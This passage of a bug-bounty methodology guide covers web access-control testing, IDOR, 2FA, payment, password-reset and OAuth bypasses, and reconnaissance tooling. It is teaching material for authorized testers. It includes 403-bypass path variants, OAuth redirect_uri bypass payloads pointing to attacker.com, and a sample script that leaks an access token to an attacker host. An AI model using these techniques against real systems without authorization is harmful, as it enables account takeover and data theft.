    * **Cookie -> JSON Web Token (JWT):** Common. Test for [known JWT attacks](https://portswigger.net/web-security/jwt): `alg:none`, signature stripping, weak secrets (brute-force HS256 secret), public key confusion (RS256 -> HS256), `kid` manipulation for arbitrary key selection/SQLi/Path Traversal. Ensure claims like `exp`, `nbf`, `iat` are validated.
    * **localStorage/sessionStorage:** Session tokens stored here are accessible via JavaScript (XSS risk). Check how these tokens are generated, validated, and if they contain sensitive data directly. If developers assume localStorage is tamper-proof, logic flaws can arise.

* **Access Control Types Implemented:**
    * **Role-Based Access Controls (RBAC):** Users assigned roles (Admin, User, Auditor). Test if users can perform actions outside their role's permissions. Check for hierarchical RBAC flaws (e.g., a "Manager" role improperly inheriting "Admin" rights).
    * **Discretionary Access Controls (DAC):** Owners of resources grant access to others (e.g., Google Docs sharing, Jira project members). Test if you can access/modify resources you weren't granted access to, or escalate privileges within a shared resource. Often combined with RBAC.
    * **Policy-Based Access Controls (PBAC) / Attribute-Based (ABAC):** Granular controls based on policies/attributes of user, resource, and environment. Complex to implement correctly, high chance of gaps. Test various combinations of attributes.

* **API Availability and Design:**
    * **API First Design:** All data operations go via API calls. Can make enumeration easier but also means security controls might be more consistently applied.
    * **Internal vs. External API:** External APIs (for third-party developers) usually have stricter auth (API keys) and documentation. Internal APIs (used by the app's own frontend) might use session cookies and be less documented publicly.
    * **API Documentation (Swagger/OpenAPI, Postman Collections):** Goldmine for understanding endpoints, parameters, and expected behavior. However, always fuzz for undocumented endpoints, parameters, or HTTP methods.

* **Cross-Origin Resource Sharing (CORS) Implementation:**
    * If `Access-Control-Allow-Origin` header reflects the `Origin` header from the request, or uses overly permissive wildcards (`*` with `Access-Control-Allow-Credentials: true` is bad), it can enable cross-origin attacks.
    * If it allows any subdomain (e.g., `*.target.com`), look for subdomain takeovers to bypass CORS.
    * Test for misconfigurations in `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers`.

* **WebSockets Usage:**
    * Stateful connections. Once established, the server might implicitly trust messages from that connection.
    * Intercept WebSocket traffic (Burp Suite supports this). Fuzz messages for injection vulnerabilities or logic flaws specific to the WebSocket communication protocol. Are access controls re-verified for actions taken over WebSockets?

Section 3.3: Enumerate The Application Mechanisms

Map every user-facing and API functionality to specific HTTP requests and CRUD (Create, Read, Update, Delete) operations. Think like a Quality Engineer: How would you write automated tests for every feature? This helps identify individual test cases.

CREATE Examples:
- POST /user/register --data {"username":"rs0n","password":"P@s$w0rd!"}
  - Function: Allows unauthenticated users to create an account.
  - IDOR Potential: Usually N/A for the creation act itself.
  - Access Control Violation (ACV) Potential: N/A (designed for unauthenticated).
- POST /workspace --data {"name":"shared workspace 1"} (Requires Admin role)
  - Function: Allows Admin users to create a new Workspace.
  - IDOR Potential: N/A for creation.
  - ACV Potential: High. Can a non-Admin user create a workspace?
READ Examples:
- POST /user/login --data {"username":"rs0n","password":"P@s$w0rd!"}
  - Function: Authenticates a user.
  - IDOR Potential: N/A (response depends on input, not existing identity context).
  - ACV Potential: N/A.
- GET /admin/user/[USER_ID]/search (Requires Admin role in specific Workspace)
  - Function: Allows Admin to search user details within their Workspace.
  - IDOR Potential: High. Can Admin access user info from a Workspace they don't belong to by changing [USER_ID] or an implicit workspace ID?
  - ACV Potential: High. Can a non-Admin access this endpoint?
UPDATE Examples:
- POST /user/profile/update/username --data {"username":"rs0n_live"}
  - Function: Allows authenticated user to change their username.
  - IDOR Potential: High. If user_id is in a parameter, can it be changed to update another user? If identification is via session, this is harder but check if session can be fixed/hijacked.
  - ACV Potential: Low for authenticated users (all should be able to update their own). Could an unauthenticated user hit this if they spoof session data or if auth check is missing?
- PATCH /workspace/[WORKSPACE_ID] --data {"description":"New desc"}
  - Function: Allows members of a workspace to update its description.
  - IDOR Potential: High. Can a user update a workspace they are not a member of by changing [WORKSPACE_ID]?
  - ACV Potential: Blurry with IDOR here. Is there a specific role required even if you are a member?
DELETE Examples:
- POST /user/delete --data {"username":"rs0n","password":"P@s$w0rd!","confirm":true}
  - Function: Allows a user to delete their own account.
  - IDOR Potential: High. If identification relies on username parameter or a modifiable ID, can another user's account be deleted?
  - ACV Potential: Low for own account deletion.

Section 3.4: Test The Application (Exploiting Logic Flaws)

With a deep understanding and enumerated mechanisms, begin targeted testing.

Missing Security Controls:

* **Lack of Access Controls:** The most straightforward logic flaw: a developer simply forgot to implement an authorization check.
    * **Unauthenticated -> Authenticated:** Can an unauthenticated user access `/querytool` which should be for authenticated users?
    * **RBAC Failure:** Can an `Auditor` role (meant for READ-only) execute an UPDATE mechanism?
    * **DAC Failure:** Can a user without explicit access to Workspace `X` still modify its description via `PATCH /workspace/X/desc`?
    * **PBAC Failure:** Can a user without the `project:delete` policy still delete a project?
* **Lack of Rate Limiting:**
    * Identify mechanisms that *should* have rate limits (login, password reset, voucher application, expensive computations) but don't.
    * Show clear impact: Does spamming an endpoint cause denial of service for others? Does it allow brute-forcing (e.g., OTPs)? Does it cause a security control to [fail open](https://community.cisco.com/t5/security-knowledge-base/fail-open-amp-fail-close-explanation/ta-p/5012930)? (Many programs are picky about rate limiting reports without clear, direct security impact beyond resource consumption).

Bypass Existing Security Controls:

* **[Bypassing Access Controls (401/403 Bypasses)](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses):**
    * **IP Address Restrictions:** Try using HTTP Proxy Headers (`X-Forwarded-For`, `X-Real-IP`, `Forwarded`, etc.) to spoof source IP. Look for SSRF vulnerabilities that allow requests from an internal IP.
    * **Path Fuzzing/Normalization:** If `/admin/login` is forbidden:
        * Try case changes: `/ADMIN/LOGIN`, `/Admin/Login`.
        * Path traversal/manipulation: `/admin/./login`, `/admin//login`, `/admin;/login`, `/admin/login/.`, `/%2e/admin/login`, `/admin%20/login`.
        * Use tools like Burp's `403Bypasser` extension or `ffuf` with path fuzzing wordlists.
    * **Unexpected Access Patterns/Host Header Manipulation:** Access via IP address instead of FQDN. If CNAME exists, try both domains. Try HTTP on HTTPS endpoints (port 80). Downgrade HTTP/2 to HTTP/1.1. Manipulate the `Host` header.
    * **Hidden Parameters:** Add parameters like `isAdmin=true`, `debug=true`, `role=admin`.
    * **Change HTTP Method:** Try `GET` if `POST` is blocked, or `PUT`, `PATCH`, `DELETE`.

* **[Bypassing Rate Limiting](https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass):**
    * **User Account Based:** If rate limiting is tied to user ID/username, can you change your user ID (e.g., if it's in a parameter) or re-register to get a new quota?
    * **IP Address Based:**
        * Use proxy headers (`X-Forwarded-For`, etc.). Some systems might pick the first IP, last IP, or a specific one if multiple are provided.
        * Use a distributed network of proxies/VPNs.
        * Append null bytes or special characters to the IP if it's being processed as a string.
        * IPv6 variations if IPv4 is blocked (`::ffff:1.2.3.4`).

* **[Bypassing 2FA/MFA](https://book.hacktricks.xyz/pentesting-web/2fa-bypass):**
    * **Response Manipulation:** After submitting username/password, if the server responds with "2FA required," can you modify this response client-side (if client trusts it) or capture a later request and remove 2FA-related parameters?
    * **Direct Access to Post-2FA Pages:** Can you skip the 2FA page and directly browse to an application page that assumes 2FA was completed?
    * **Token Leakage/Replay:** Is the 2FA token leaked in a URL or response? Can it be replayed? Is there a lack of rate limiting on 2FA code submission?
    * **Backup Code Flaws:** Weak backup codes, or ability to generate/reuse them insecurely.
    * OAUTH/SSO Misconfiguration bypassing 2FA for primary authentication.
    * CSRF on 2FA disabling.

* **[Bypassing Payment Process Restrictions](https://book.hacktricks.xyz/pentesting-web/bypass-payment-process):**
    * **Price Manipulation:** Change item price or quantity parameters to negative numbers or zero.
    * **Currency Manipulation:** Change currency to a cheaper one if not validated.
    * **Tamper with Total Amount:** If the total amount is sent as a parameter, modify it.
    * **Interrupt Payment Flow:** Can you complete an order by dropping the final request to the payment gateway but still having the application mark the order as paid? (Race conditions).
    * **Voucher/Discount Abuse:** Apply multiple discounts, reuse single-use vouchers, or apply expired ones.

* **[Bypassing Registration Restrictions](https://book.hacktricks.xyz/pentesting-web/registration-vulnerabilities):**
    * Use character encoding or case variations to bypass username/email blocklists.
    * Exploit parameter pollution if registration data is sent in multiple places.
    * If registration requires an invite code, try to brute-force it or find a logic flaw that bypasses the check.
    * Register with an email address that has the same unique identifier as an existing account but uses allowed variations (e.g., `user.name@gmail.com` vs. `username@gmail.com`, or `user+victim@example.com`).

* **[Bypassing Password Reset Restrictions](https://book.hacktricks.xyz/pentesting-web/reset-password):**
    * **Host Header Poisoning:** If the password reset link is generated using the `Host` header, manipulate it to point to your server to capture the reset token. Test with `X-Forwarded-Host` as well.
    * **Token Leakage:** Is the reset token leaked via `Referer` header to third parties?
    * **Weak Token Generation/No Rate Limiting:** Brute-force short or predictable reset tokens.
    * **Parameter Tampering:** In the final step of setting a new password, can you change a `user_id` parameter to reset someone else's password if the token validation is tied only to the token itself and not the user it was issued for?
    * **Response Manipulation:** After entering the email, if the server returns the security questions, can you bypass this step?

Insecure Direct Object References (IDOR):

* **Summary:** IDORs occur when an application uses user-supplied input (e.g., an ID in a URL or request body) to access objects directly without verifying if the logged-in user is authorized to access that specific object.
* *Reference: [YouTube Video - [Part I] Bug Bounty Hunting for IDORs and Access Control Violations](https://youtu.be/BfbS8uRjeAg)* (Placeholder)
* *Reference: [YouTube Video - Ask Yourself These Four Questions When Bug Bounty Hunting for IDORs](https://youtu.be/4h42AFrpyK0)* (Placeholder)

* **Basic IDOR Hunting Steps:**
    1.  **Identify Mechanisms:** Find all functionalities that perform READ, UPDATE, or DELETE operations on specific objects (e.g., view profile, edit message, delete document).
    2.  **Locate Identifiers:** Determine how the object being accessed is identified:
        * **From Session Token (Implicit):** E.g., `/profile/me` fetches the current user's profile. Harder to find IDORs unless session can be manipulated or there's an internal mapping flaw.
        * **From Signed/Encrypted Identifier:** E.g., a JWT claim or an encrypted ID. You'd need to break the signature/encryption first, or find flaws in how it's processed.
        * **From User-Controlled Parameter (Explicit):** E.g., `GET /users?id=123`, `POST /messages/delete` with `{"message_id": 456}`. This is the most common IDOR vector. Also check for UUIDs, usernames, emails, or even less obvious sequential identifiers.
    3.  **Obtain Other Users' Identifiers:** Create multiple accounts or find ways to enumerate/guess identifiers of other users/objects you shouldn't have access to.
    4.  **Test Authorization:** Substitute the victim's identifier into the request and see if you can access/modify their data. Check all CRUD operations.

* **Key Questions for IDOR Hunting per Mechanism:**
    * *Does the endpoint's response vary based on the client's identity for the same object ID (unlikely for IDOR, more for ACV)?* More relevant: *Does the endpoint return different objects based on an ID I control?*
    * *Does the endpoint identify the client implicitly via a session token (making IDORs on that object harder), or explicitly via an ID in the request?*
    * *If an ID is used, is it signed/encrypted (requiring more steps) or plaintext/guessable?*
    * *Is the ID pulled directly from a parameter, header, or cookie value I control?*

OAuth 2.0 Testing:

* **Summary:** OAuth is complex, with various grant types and optional parameters, making misconfigurations common. It's an authorization framework, often misused for authentication.
* **Key Areas:** `redirect_uri` validation, `state` parameter usage, scope handling, client authentication (for confidential clients).

* **Steps of OAuth (Focus on Authorization Code Grant):**
    1.  **Authorization Request (Client to Authorization Server):**

        ```
        GET /authorization?client_id=12345&redirect_uri=[https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24](https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24) HTTP/1.1
        Host: oauth-authorization-server.com
        ```

        * **Test Points:**
            * `redirect_uri`: Is it strictly validated? (See below)
            * `response_type`: Can it be changed to `token` (Implicit grant) if not intended?
            * `scope`: Are overly broad scopes requested or accepted?
            * `state`: Is it present and non-guessable? (Prevents CSRF)

    2.  **User Consent (User authenticates and approves at Authorization Server).**

    3.  **Authorization Code Grant (Authorization Server to Client via redirect):**

        ```
        GET [https://client-app.com/callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24](https://client-app.com/callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24) HTTP/1.1
        Host: client-app.com
        ```

        * **Test Points:**
            * Is the `code` short-lived and one-time use?
            * Is the `state` parameter validated by the client against the original one? If not, CSRF is possible (e.g., attacker tricks victim into linking attacker's account from OAuth provider to victim's client app account).

    4.  **Access Token Request (Client to Authorization Server - backend):**

        ```
        POST /token HTTP/1.1
        Host: oauth-authorization-server.com
        ...
        client_id=12345&client_secret=SECRET&redirect_uri=[https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8](https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8)
        ```

        * **Test Points:**
            * `client_secret`: For confidential clients. Is it leaked?
            * `redirect_uri`: Does the Authorization Server re-validate it here against the initial one?
            * `code`: Is it validated properly?
            * `grant_type`: Correct for the flow.

    5.  **Access Token Grant (Authorization Server to Client):**
        * Server responds with Bearer Token (Access Token, potentially Refresh Token, ID Token).

    6.  **API Call (Client to Resource Server):**
        * Client uses Access Token in `Authorization: Bearer <token>` header.

    7.  **Resource Grant (Resource Server to Client):**
        * Resource server validates token and returns data.

* **OAuth Hunting Steps:**
    1.  **Discover OAuth Flows:** Search HTTP traffic for OAuth parameters (`client_id`, `redirect_uri`, `response_type`, `state`, `scope`).
    2.  **Identify Authorization Server Endpoints:** Look for well-known URIs:
        * `/.well-known/oauth-authorization-server`
        * `/.well-known/openid-configuration` (for OpenID Connect, built on OAuth)
    3.  **Identify Grant Type:** Primarily from `response_type` (`code` for Auth Code, `token` for Implicit).
    4.  **Test for Common Misconfigurations:**
        * **Implicit Grant Issues (`response_type=token`):** Access token is passed in URL fragment. Higher risk of leakage (browser history, Referer). If used for authentication, any data in the initial POST request to the client app might not be validated against the OAuth identity.
        * **Missing/Weak `state` Parameter (Auth Code Grant):** Leads to CSRF on the callback, allowing an attacker to link their OAuth provider account to the victim's client application account.
        * **Stealing `code`/`token` via `redirect_uri`:**
            * **No/Weak Validation:** If `redirect_uri` is not validated or loosely validated, an attacker can set it to their own domain/path.
            * **Redirect Possibilities/Bypass Techniques:**
                1.  Any domain: `redirect_uri=https://attacker.com`
                2.  Any subdomain: `redirect_uri=https://attacker.victim.com` (if `victim.com` is trusted, look for subdomain takeover).
                3.  Specific domains (Whitelist): Check if any whitelisted domains have open redirect vulnerabilities or allow user content that can steal tokens.
                4.  Path Traversal: `redirect_uri=https://client-app.com/legit_path/../../attacker_path`
                5.  Different Scheme: `redirect_uri=javascript:alert(document.domain)` (unlikely but possible).
                6.  Parameter Pollution/Appending: `redirect_uri=https://client-app.com/callback?attacker_param=foo` or using `#` to inject data.
                7.  Regex bypasses for whitelist validation (e.g., `https://client-app.com.attacker.com` if regex is `^https://client-app\.com`).
            * **Exploitation:** Attacker crafts a malicious link with a poisoned `redirect_uri`. Victim clicks, authenticates, and the `code` or `token` is sent to the attacker's controlled URI.
            * ***Note:*** If `redirect_uri` parameter is *also* sent in the Access Token Request (Step 4) and validated by the Authorization Server against the initial `redirect_uri`, this mitigates `code` theft for that step.
        * **Stealing Data from URL Hash Fragments (`#`):** If a token is in the fragment (`#access_token=...`), it's not sent to the server. Client-side script processes it. If this script insecurely sends fragment data to another server (e.g., via `<img>` src, or XHR to attacker site), it can be stolen. Example vulnerable script:

            ```javascript
            // Vulnerable script on [client-app.com/callback](https://client-app.com/callback)
            if (document.location.hash) {
                var params = new URLSearchParams(document.location.hash.substr(1));
                // If token is sent to an attacker-controlled logger or image
                new Image().src = '[https://attacker.com/log?token=](https://attacker.com/log?token=)' + params.get('access_token');
            }
            ```

        * **Scope Escalation/Misconfiguration:**
            * **Authorization Code Grant:** Malicious client registers with limited scope, victim approves. Client then requests an access token from `/token` endpoint but specifies expanded scopes. If AS doesn't validate requested scopes against originally approved ones, it might issue an over-privileged token.
            * **Implicit Grant:** If an attacker steals a token, they might try using it for scopes the user didn't explicitly grant, if the resource server doesn't properly validate scopes per token.
        * **Account Takeover via OAuth Registration/Login:**
            * If an application allows "Sign up with X Provider" and "Log in with X Provider," check for logic flaws. If the email from the OAuth provider is used as the primary identifier, can an attacker:
                1.  Create an account on the OAuth provider with the victim's email (if possible).
                2.  Then use "Sign up with X Provider" on the client app to link to victim's (potentially existing) account or create a new one under victim's email.

* **OpenID Connect (OIDC) Specifics (often used with OAuth):**
    * Uses **ID Tokens (JWTs)** for identity information.
    * `id_token` contains claims about the user. Validate its signature and claims (`iss`, `aud`, `exp`, `nonce`).
    * Keys for JWT signature validation often exposed at `/.well-known/jwks.json` (from OIDC provider).
    * OIDC provider configuration usually at `/.well-known/openid-configuration`.
    * `response_type` can be combined: `id_token token` (Implicit), `id_token code`.
    * **Dynamic Client Registration:** If the OIDC provider allows clients (applications) to register dynamically, check if this registration process is authenticated or can be abused for SSRF (e.g., if `logo_uri` or `jwks_uri` parameters in registration are fetched server-side by the OIDC provider).

🧭 Selecting the Right Bug Bounty Targets & Reconnaissance

Trumpiter — Mon, 02 Jun 2025 04:29:08 +0000

🎯 Target Prioritization

Not all targets are created equal. Prioritization helps you allocate your limited time and resources efficiently.

Risk vs. Effort
- Detail: This involves assessing the potential security impact of a vulnerability on an endpoint versus the amount of time and effort required to find and exploit it.
- Endpoints by potential impact:
  - IDOR (Insecure Direct Object Reference): Vulnerabilities where an attacker can access or modify resources they shouldn't have access to by changing an identifier (e.g., userID=123 to userID=124). High impact if it exposes sensitive data or allows unauthorized actions.
  - Auth Bypass (Authentication Bypass): Flaws that allow attackers to circumvent login mechanisms or access restricted functionalities without proper credentials. Critical impact.
  - Data Leaks: Unintentional exposure of sensitive information (e.g., PII, API keys, proprietary code). Impact varies based on data sensitivity.
- Balance: The goal is to find a sweet spot. A very high-impact target that might take weeks to crack might be less efficient than several medium-impact targets found more quickly, or vice-versa depending on your strategy.
Breadth vs. Depth
- Detail: This is a strategic decision.
  - Breadth: Covering a wide range of targets or functionalities superficially to find many lower-severity issues or low-hanging fruit. This can be good for building a reputation or consistent payouts.
  - Depth: Focusing intensely on a single application or feature to uncover complex, critical vulnerabilities that others might miss. This can lead to higher individual payouts but might be more time-consuming.
Business Logic Importance
- Detail: Business logic vulnerabilities are flaws in the design and implementation of an application's rules and workflows. These are often unique to the application and not discoverable by generic scanners.
- Focus Areas:
  - Payments: Any flaw here can have direct financial impact.
  - User Data: Unauthorized access or modification of user information is a high-impact area.
  - Privileged Actions: Functions restricted to administrators or specific user roles (e.g., user management, configuration changes).
Historical Findings
- Detail: If the program has public disclosures (e.g., on HackerOne or Bugcrowd), reviewing them can be invaluable.
- Benefits:
  - Avoid Reinventing the Wheel: See what has already been found and fixed.
  - Identify Untouched Areas: Notice patterns in findings or areas that seem to have received less attention, which could be fruitful hunting grounds.
  - Understand Common Weaknesses: Get a feel for the types of vulnerabilities the target has been susceptible to in the past.

🔬 Testing Techniques

These are the methods used to actively probe targets for vulnerabilities.

Manual Interaction
- Detail: This involves using the application as an end-user would, but with a security mindset.
- Proxy Capture: Tools like Burp Suite or OWASP ZAP are used to intercept and inspect all HTTP/S requests and responses between your browser and the target application.
- Tweak Parameters: Modify parameters in captured requests (e.g., change values, add special characters, test different data types) to see how the application responds.
- Chain Dependent Calls: Test sequences of actions that rely on each other (e.g., creating an item, then modifying it, then deleting it). Flaws can emerge in the interactions between these steps, revealing broken business logic (e.g., being able to modify an item after it's "deleted" from the UI but not the backend).
Parameterized Fuzzing
- Detail: Fuzzing is an automated software testing technique that involves providing invalid, unexpected, or random data as input to a program. Parameterized fuzzing focuses this on specific HTTP parameters or API endpoints.
- Custom Wordlists: Instead of generic fuzzing lists, create or use wordlists tailored to the target (e.g., common parameter names, known technologies, business-specific terms).
- Tools:
  - Kiterunner: A tool specifically designed for API/endpoint content discovery and fuzzing.
  - FFUF (Fuzz Faster U Fool): A fast web fuzzer used for discovering hidden directories, files, and parameters by brute-forcing with wordlists.
- Goals:
  - Forced Browse: Discovering resources not directly linked from the application.
  - Parameter Fuzzing: Uncovering hidden or unhandled parameters that might lead to vulnerabilities like SQL injection, XSS, or command injection.
Chaining Tools
- Detail: Combining the output of one tool as the input for another to create more powerful and comprehensive testing workflows.
- Examples:
  - Amass → FFUF: Amass is a powerful tool for subdomain enumeration and network mapping. Its output (list of subdomains) can be fed into FFUF to perform directory/file fuzzing on each discovered subdomain.
  - Shodan Results → Pinpoint Unusual Protocols/Admin Panels: Shodan is a search engine for internet-connected devices. If Shodan reveals open services on non-standard ports or specific server banners, you can investigate these for unusual protocols (e.g., FTP, SSH, databases) or hidden admin panels.
Interactive Analysis
- Detail: Using features within security proxies to intelligently test for specific vulnerabilities.
- Burp Suite's Scanner/Intruder "Smart" Mode:
  - Scanner: Automated vulnerability scanning that can be configured for different levels of intensity and types of checks.
  - Intruder: A highly configurable tool for automating custom attacks. "Smart" mode implies using its features to generate context-aware or specialized payloads.
  - Edge-Case Inputs: Testing with inputs that developers might not have anticipated:
    - Long Strings: Can cause buffer overflows or denial of service.
    - Null Bytes (%00): Can terminate strings prematurely in some languages, leading to path traversal or other issues.
    - Unicode Characters: Can sometimes bypass filters or cause unexpected behavior in how data is processed or rendered.

📋 Reporting & Validation

A clear and concise report is crucial for getting your vulnerability validated and rewarded.

Proof of Concept (PoC)
- Detail: Provide the minimum, unambiguous steps needed for the security team to reproduce the vulnerability.
- Minimal Steps:
  1. Request (curl/HTTPraw): The exact HTTP request that triggers the vulnerability. curl commands are often preferred as they are easily runnable. HTTPraw is the raw text of the request.
  2. Modified Payload: Clearly indicate what part of the request was modified (e.g., specific parameter, header) and what the malicious payload was.
  3. Successful Response or UI Change: Show the evidence of the vulnerability (e.g., the HTTP response containing leaked data, a screenshot of the UI change, error messages indicating successful exploitation).
Environment Details
- Detail: Contextual information that can help the vendor reproduce the issue, especially if it's environment-specific.
- List: Application version (if known), browser type and version, operating system, any specific tokens (e.g., session cookies, CSRF tokens) or cookies used during testing.
Screenshots / Logs
- Detail: Visual and textual evidence to support your claim.
- Capture Before/After with Timestamps: Show the state of the application before the exploit and the result after. Timestamps help correlate with server logs.
- Include Raw HTTP Snippets: Relevant portions of requests and responses.
Suggested Fix
- Detail: Offering a potential solution demonstrates your understanding and can be helpful to the vendor.
- References:
  - OWASP (Open Web Application Security Project) Guidelines: Refer to specific OWASP cheatsheets or recommendations (e.g., for input validation, IDOR prevention).
  - Common Mitigation Patterns:
    - Strict ID Validation: Ensuring users can only access objects they are authorized for.
    - Input Sanitization: Cleaning user-supplied input to prevent injection attacks (XSS, SQLi, etc.).
    - Proper CORS (Cross-Origin Resource Sharing) Config: Preventing unauthorized cross-domain requests.
Re-Test After Patch
- Detail: Once the vendor claims to have fixed the issue, verify their solution.
- Confirmation: Ensure the original vulnerability is no longer exploitable.
- Regression Testing: Check that the fix hasn't inadvertently broken legitimate functionality or introduced new vulnerabilities.

🔄 Iterative Recon & Monitoring

Reconnaissance is not a one-time activity; it's an ongoing process as applications and infrastructure evolve.

Passive Monitoring
- Detail: Continuously gathering information without actively probing the target.
- Tools:
  - Subfinder + Amass: Tools for discovering subdomains.
  - Passive Sources:
    - crt.sh: A website that logs SSL certificates, often revealing new subdomains when certificates are issued.
    - Certificate Transparency (CT) Logs: Public logs of all issued SSL/TLS certificates. Monitoring these can uncover new assets.
- Goal: Catch new subdomains as they come online.
Alerting
- Detail: Setting up automated notifications for changes in the target's attack surface.
- Triggers: New technologies detected (e.g., a new JavaScript library, a different web server), new API endpoints appearing.
- Automation Examples:
  - GitHub Actions Workflows: Custom scripts run on a schedule or triggered by events.
  - CI/CD (Continuous Integration/Continuous Deployment) Logs: If accessible, these might indicate new deployments or features.
Periodic Re-Scans
- Detail: Regularly re-running your reconnaissance and scanning tools against high-value domains.
- Schedule: E.g., weekly scans to detect changes in assets, open ports, or web technologies.
Changelog & Patch Notes
- Detail: Monitoring official communications from the vendor.
- Purpose: New features often introduce new code and, potentially, new vulnerabilities. Changelogs can highlight areas to focus on.

🚀 Continuous Improvement

Refining your process and skills over time.

Post-Mortem
- Detail: After submitting a bug report (successful or not), review your process.
- Analysis: What techniques worked well? Where was time wasted? Was the reward commensurate with the effort? This helps optimize future hunting.
Knowledge Sharing (Personal Wiki)
- Detail: Maintain a personal database of information gathered about specific vendors or targets.
- Content:
  - Default Headers: Common headers used by the target's applications.
  - Known WAF (Web Application Firewall) Fingerprints: How to identify the WAF in use and potentially bypass it.
  - Quirks: Any unusual behaviors or configurations specific to a target.
Skill Growth
- Detail: Actively working to improve your technical abilities.
- Practice Labs:
  - OWASP Juice Shop: An intentionally insecure web application for learning and practicing web hacking.
  - HackTheBox: A platform with vulnerable machines and challenges.
- CTFs (Capture The Flag Competitions): Challenges focused on API security and business logic flaws can be particularly relevant.

🎯 Purpose of Reconnaissance

The core reasons why reconnaissance is performed.

Information Gathering: Collect data on:
- Subdomains: e.g., dev.example.com, api.example.com.
- Open Ports: Network ports listening for connections (e.g., 80 for HTTP, 443 for HTTPS, 22 for SSH).
- Hidden Directories: Web directories not directly linked from the site.
- Services: Software running on open ports (e.g., web servers, databases, mail servers).
Attack Surface Mapping: Identify all potential entry points and externally accessible assets an attacker could target. A larger, well-mapped attack surface increases the chances of finding vulnerabilities.
Understanding Infrastructure: Gain insights into:
- Server Details: Operating systems, web server software (Apache, Nginx), etc.
- Hosting Environments: Cloud providers (AWS, Azure, GCP), on-premise data centers.
- WAF Implementations: Identify if a Web Application Firewall is in use and potentially what type, which can affect testing strategies.

📝 Important Notes

Key takeaways and cautions for reconnaissance.

Quality Over Quantity: Simply running many automated tools can generate a lot of noise, duplicate findings (already reported by others), or low-severity issues. Focus on meaningful discovery.
Focus on High-Impact Bugs: Top bug bounty hunters often prioritize finding significant vulnerabilities (e.g., Remote Code Execution, SQL Injection, serious business logic flaws) that have a greater impact and are often overlooked by purely automated approaches.
Tailored Approach: Reconnaissance strategies should not be one-size-fits-all. Adapt your methods based on the specific target, the scope of the engagement (bug bounty vs. penetration test), and the time available.

📌 Recon Based on Scope

How the nature of the engagement influences reconnaissance.

Bug Bounty Programs
- Broad Scope: Often include *.company.com or even all assets owned by the company. This provides a large area to explore.
- Time Flexibility: Researchers can usually report vulnerabilities whenever they find them, without strict deadlines (unless it's a time-limited event).
- Asset Discovery: Actively finding new, previously unknown assets (including those from newly acquired companies) is often encouraged and can lead to unique findings.
Penetration Testing
- Defined Scope: Typically limited to specific domains, applications, or IP ranges explicitly agreed upon beforehand.
- Time-Bound: Conducted over a predetermined period (e.g., 1 to 3 weeks). Efficiency is key.
- Restricted Recon: Certain activities might be explicitly out of scope, such as extensive subdomain enumeration on unrelated parent domains or crawling internet archives for historical data, to keep the focus tight.

🔍 Reconnaissance Process

A more granular breakdown of reconnaissance steps, often forming a repeatable methodology.

1. Asset Discovery (Initial broad steps to find company-owned entities)
- Acquisitions:
  - Purpose: When a company acquires another, the acquired company's assets often become in-scope. Identifying these can reveal new targets.
  - Platforms:
    - Crunchbase: Database of companies, investors, and funding.
    - Tracxn: Platform for tracking startups and private companies.
    - Owler: Business information and competitive insights.
- WHOIS Data:
  - Purpose: Domain registration information (registrant name, organization, contact email, nameservers) can link different domains owned by the same entity.
- Reverse WHOIS:
  - Purpose: Use registrant information (like an email or name) found from a WHOIS lookup to find other domains registered by that same entity.
1. Identify the Root Domain (Reiteration/Alternative Starting Point)
- Detail: Start with the main, publicly known domain (e.g., company.com). This forms the basis for subsequent subdomain discovery.
2. Research Acquisitions and Company History (Reiteration)
- Detail: Understand company growth, mergers, and acquisitions. This can reveal related domains or older, potentially less secure, infrastructure.
- Tools: Crunchbase, Wikipedia, Google searches.
3. Perform Reverse WHOIS Lookup (Reiteration)
- Tools: Whoxy.com, or general Google searches for registrant emails/names.
4. Analyze Technologies and Analytics
- Purpose: Identify the software stack (programming languages, frameworks, web servers, analytics tools, etc.) used by the target. Knowing the technology helps in tailoring attacks (e.g., specific exploits for a known version of a CMS).
- Tools/Extensions:
  - Wappalyzer: Browser extension and tool to identify technologies on websites.
  - BuiltWith: Website and tool providing technology profiles of websites.
5. Enumerate Subdomains
- Purpose: Find all subdomains associated with the root domains (e.g., blog.company.com, api.company.com, dev.company.com).
- Tools:
  - Amass: Comprehensive tool for active and passive subdomain enumeration, network mapping.
  - Sublist3r: Passive subdomain enumeration tool using search engines and third-party services.
  - DNSDumpster: Web-based tool for DNS reconnaissance.
  - MassDNS: A high-performance DNS resolver often used for brute-forcing subdomains with large wordlists.
- Wordlists:
  - JHaddix's all.txt: A popular and comprehensive wordlist for subdomain brute-forcing.
6. Gather ASN Information
- Purpose: An Autonomous System Number (ASN) is a unique number assigned to an Autonomous System (AS), which is a collection of IP networks operated by one or more network operators that has a single and clearly defined external routing policy. Identifying ASNs associated with a target can reveal entire IP ranges owned by them.
- Benefit: Helps map the organization's network presence.
7. Conduct Port Scanning
- Purpose: Identify open network ports on discovered subdomains and IP addresses. Each open port might be running a service that could be an entry point.
- Tools:
  - Nmap (Network Mapper): A powerful open-source tool for network discovery and security auditing, including port scanning, OS detection, and service version detection.
8. Document Findings
- Purpose: Take visual snapshots of web applications and document anything unusual or noteworthy. This helps in later analysis, prioritization, and reporting.
- Tools:
  - Eyewitness: Takes screenshots of websites, provides some server header information, and can identify default credentials.
  - Aquatone: Similar to Eyewitness, used for visual inspection of websites across a large number of hosts.
9. Check for Subdomain Takeovers
- Purpose: A subdomain takeover occurs when a subdomain (e.g., info.company.com) has a DNS record (e.g., CNAME) pointing to a third-party service (e.g., GitHub Pages, Heroku, S3 bucket), but the service is no longer configured or the account has been deleted. An attacker can then claim this orphaned service endpoint and host malicious content on the legitimate subdomain.
2. ASN and IP Analysis (More Detail/Consolidation)
- Autonomous System Numbers (ASNs): (As described above)
- Tools:
  - Hurricane Electric BGP Toolkit (he.net): Web-based tool to explore BGP (Border Gateway Protocol) information and ASNs.
  - amass intel -asn <ASN>: Amass can use ASN to find associated CIDRs/IP ranges.
  - asnmap: Tool to map ASNs to IP ranges.
